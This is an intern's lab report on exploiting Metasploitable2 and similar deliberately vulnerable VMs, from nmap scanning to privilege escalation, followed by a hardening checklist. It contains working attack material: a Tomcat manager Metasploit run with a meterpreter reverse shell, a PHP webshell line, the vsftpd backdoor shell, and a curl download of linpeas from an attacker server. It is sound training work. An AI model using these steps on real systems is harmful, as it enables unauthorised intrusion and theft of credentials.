

Vulnerable Virtual Machines (VulnVMs) — POC Report

Intern Name: Ruby Kannaujiya

Intern ID: 309

Tool Name / Topic

Vulnerable Virtual Machines (VulnVMs) — platforms and tools: Metasploitable, Hack The Box/CTF VMs, OWASP Broken Web Apps VM, VirtualBox/VMware, Nmap, SearchSploit, Metasploit, Netcat, Nikto, enum4linux, smbclient.

History

Vulnerable VMs (e.g., Metasploitable, OWASP Broken Web Apps) were created for training and safe practice of exploitation techniques. They pack intentionally vulnerable services so learners can practice scanning, enumeration, exploitation, post-exploitation, privilege escalation, and remediation in an isolated environment.

Description

This topic shows how to discover and exploit vulnerabilities on intentionally vulnerable virtual machines. The POC walks through reconnaissance (nmap), service enumeration (smb, ftp, http), exploit discovery (searchsploit), exploitation (Metasploit/manual), and post-exploitation basics. All steps are meant for isolated labs only.

Legal / Ethical Note: Only run these steps in your own lab or on machines you have explicit permission to test.

What Is This Topic About?

- Using common tools to find vulnerable services on a VM.
- Practicing real exploit workflows safely.
- Documenting commands, outputs, and remediation.
- Building skills for pentesting and defensive controls.

Key Characteristics / Features

- Safe, repeatable lab environment.
- Exercises full attack lifecycle: enum → exploit → post-exploit → cleanup.
- Uses common services: SSH, FTP, SMB, HTTP, MySQL, Tomcat.
- Mix of automated (Metasploit) and manual exploits.
- Good for learning detection and hardening.

Types / Modules / Vectors Covered

- **Recon Module:** nmap, nikto, gobuster
- **Service Enum Module:** enum4linux, smbclient, ftp, curl
- **Exploit Discovery:** searchsploit, CVE lookup
- **Exploit Module:** msfconsole, manually crafted payloads, nc reverse shells
- **Post-exploitation:** file collection, user escalation reconnaissance, pivoting basics
- **Cleanup & Remediation:** patching, config hardening, removing unnecessary services

How Will This Help?

- Learn how attackers chain reconnaissance to exploitation.

- Understand which controls detect these actions (IDS alerts, logs).
- Practice safe exploitation workflows and create remediation recommendations.
- Produce reproducible lab evidence for reports and GitHub documentation.

Detailed POC — Step-by-step (Metasploitable2 example)

Lab setup note: Download Metasploitable2 (or another VulnVM). Run it in VirtualBox/VMware on an isolated network. Use Kali (attacker) VM on same internal network. Snapshot VMs before testing.

A. Network Setup

- Kali VM (attacker) IP: 192.168.56.101
- Metasploitable VM (target) IP: 192.168.56.102
(Use `ifconfig / ip a` to confirm.)

B. Host Discovery & Quick Scan

```
# Ping sweep for live hosts (on isolated network)
nmap -sn 192.168.56.0/24
```

```
# Quick service scan on target
nmap -sC -sV -oN nmap_quick.txt 192.168.56.102
```

What to capture: open ports, service versions, nmap output file.

C. Detailed Port & Version Scan

```
nmap -p- -T4 -oN nmap_allports.txt 192.168.56.102
# Then service/version/OS detection on discovered ports
nmap -sC -sV -A -p22,21,23,80,139,445,3306 192.168.56.102 -oN
nmap_services.txt
```

Look for: ftp (21), ssh (22), telnet (23), http (80), ms-sql/MySQL, samba (139/445), vsftpd, Tomcat, etc.

D. Service Enumeration Examples

1. FTP (vsftpd backdoor check):

```
ftp 192.168.56.102
# or using nmap script
nmap --script ftp-anon,ftp-vsftpd-backdoor -p21 192.168.56.102 -oN
nmap_ftp.txt
```

- Metasploitable2 historically had vsftpd 2.3.4 backdoor (shell on port 6200 when ':' user login exploited) — capture outputs.

2. SMB / Samba:

```
# enum shares
enum4linux -a 192.168.56.102 > enum4linux.txt

# list shares with smbclient
smbclient -L //192.168.56.102 -N
# connect to a share
smbclient \\\\192.168.56.102\\public -N
```

- Look for writable shares or interesting files.

3. HTTP (web app):

```
# quick nikto scan
nikto -h http://192.168.56.102 -o nikto_http.txt

# brute-force directories
gobuster dir -u http://192.168.56.102 -w
/usr/share/wordlists/dirb/common.txt -o gobuster.txt
```

- Check for admin panels, default credentials, exposed config files.

4. MySQL:

```
mysql -h 192.168.56.102 -u root -p  
# or check version via nmap
```

- Try default credentials if found via enum.

E. Exploit Discovery

Use SearchSploit (local exploit-db) to find candidate exploits:

```
searchsploit vsftpd  
searchsploit samba 3.0  
searchsploit tomcat 7
```

- Read exploit details, note required conditions (versions, configurations).

F. Exploitation (examples)

Important: Run only in your lab.

1) vsftpd 2.3.4 Backdoor (historical/metasploitable PoC)

```
# attempt manual verification (example)  
# Connect with username that triggers backdoor (historical PoC):  
# Note: modern systems patched; do not attempt on untrusted hosts.  
nc 192.168.56.102 6200  
# if backdoor present, you'll get a shell
```

2) Samba (e.g., 'username map script' or writable share exploit)

- If writable share exists, upload a reverse shell script:

```
# from smbclient prompt  
put linux-reverse-shell.sh
```

```
# then trigger execution via a cron or service if possible (lab-only)
```

3) Web Application Exploit (Tomcat manager default creds)

```
# If Tomcat manager accessible at /manager/html
# Try default creds: tomcat:tomcat
curl -I http://192.168.56.102:8080/manager/html -u tomcat:tomcat
```

- If authenticated, deploy a WAR webshell (in lab only). Metasploit has modules for Tomcat manager deployment.

4) Metasploit Workflow Example (HTTP service exploit)

```
msfconsole
# search for exploit
search type:exploit tomcat
use exploit/multi/http/tomcat_mgr_deploy
set RHOST 192.168.56.102
set RPORT 8080
set TARGET <appropriate_target>
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444
run
```

- If successful, get meterpreter session. Document session ID and sysinfo output.

5) Manual Reverse Shell (if you can upload a file and access via web):

- Create PHP reverse shell and upload (only if server supports PHP uploads):

```
<?php system($_GET['cmd']); ?>
```

- Access: <http://192.168.56.102/uploads/shell.php?cmd=whoami>

G. Post-Exploitation Basics

Once shell is obtained:

```
# Basic info
whoami
id
uname -a
cat /etc/issue
# Enumerate users, cron jobs, SUID bits (again)
find / -perm -4000 -type f 2>/dev/null
# Check /etc/passwd for interesting users
cat /etc/passwd
# Look for sensitive files
ls -la /home
cat /home/user/.ssh/authorized_keys
```

- Collect evidence (logs, screenshots), but avoid destructive actions.

H. Privilege Escalation on VulnVM

- After foothold, run local enumeration scripts: `linpeas.sh`, `linux-exploit-suggester`, `pspy` (in lab).

```
# Example: upload and run linpeas
curl -O http://<attacker-server>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
```

- Identify SUID, sudo misconfigs, weak services (refer to Week 3 PoC).

I. Example Full PoC Flow (Metasploitable2 common path)

1. `nmap -sC -sV -oN nmap_services.txt 192.168.56.102` → find vsftpd, ssh, telnet, http, samba.
2. `enum4linux -a 192.168.56.102` → find share public and user files.
3. `searchsploit vsftpd 2.3.4` → historical backdoor listed.
4. Attempt vsftpd PoC (lab) → get shell on port 6200 (if present).
5. `whoami` → root (historical Metasploitable outcome) → collect `root.txt` as proof.
6. Document every command/output with timestamps/screenshots.

PoC Images (placeholders — add your lab screenshots)

- Nmap output showing open ports.
- enum4linux output listing shares.
- searchsploit output for matched exploit.
- Metasploit console showing successful exploit and meterpreter session.
- whoami output showing root (only in lab).
- linpeas output highlighting potential privilege escalation vector.

15-Liner Summary

1. Set up isolated VMs (attacker and vulnerable VM).
2. Conduct host discovery and port scans (nmap).
3. Enumerate services (FTP, SMB, HTTP, DB).
4. Use searchsploit to find matching exploits.
5. Try safe, documented PoCs (Metasploit/manual).
6. Obtain shell (reverse/interactive) in lab.
7. Collect system info and evidence (non-destructive).
8. Run local enumeration scripts for privesc hints.
9. Escalate privileges if safe in lab (SUID/sudo misconfigs).
10. Document commands, outputs, and screenshots.
11. Recommend remediation (patch services, harden configs).
12. Practice detection: check logs and IDS signatures.
13. Use snapshots to revert VMs after testing.
14. Always keep testing inside isolated network.
15. Produce a clean report with findings and fixes.

Time to Use / Best Case Scenarios

- Training for pentesting and red-team exercises.
- Demonstrating exploitation techniques in classes/labs.

- Validating IDS/AV detection capability.
- Practicing safe incident response workflows.

When to Use During Investigation

- During internal security training and simulated attacks.
- When reproducing a suspected exploit in a controlled environment.
- For development teams to see real exploit impacts.

Best Person to Use & Required Skills

User: Penetration Tester / Security Researcher / Student

Skills Required:

- Familiarity with Linux and basic networking.
- Knowledge of Metasploit and common pentesting tools.
- Understanding of services (FTP, SMB, HTTP) and common vulnerabilities.
- Responsible lab setup skills (VirtualBox/VMware snapshots, network isolation).

Flaws / Suggestions to Improve

- VulnVMs are intentionally outdated; not representative of hardened production.
- Some PoCs rely on historical, deprecated services.
- Over-reliance on Metasploit hides the learning from manual exploitation.
- Need to keep lab images updated and document versions used.

Good About This Topic (Why Learn It)

- Safe, hands-on practice of real exploit workflows.

- Immediately shows impact of insecure configurations.
- Great for building confidence before testing real targets (with permission).
- Useful for creating detection rules and remediations.

Remediation / Hardening Checklist (for discovered issues)

- Patch vulnerable services (vsftpd, Samba, Tomcat, etc.).
- Disable unnecessary services; remove default/test accounts.
- Enforce strong credentials and use key-based SSH auth.
- Restrict SMB shares; set correct permissions and authentication.
- Harden web apps; remove default admin interfaces or change credentials.
- Monitor logs centrally (syslog/ELK) and enable IDS/IPS alerts for suspicious activity.
- Use network segmentation to limit lateral movement.
- Use snapshots to revert vulnerable VMs after exercises.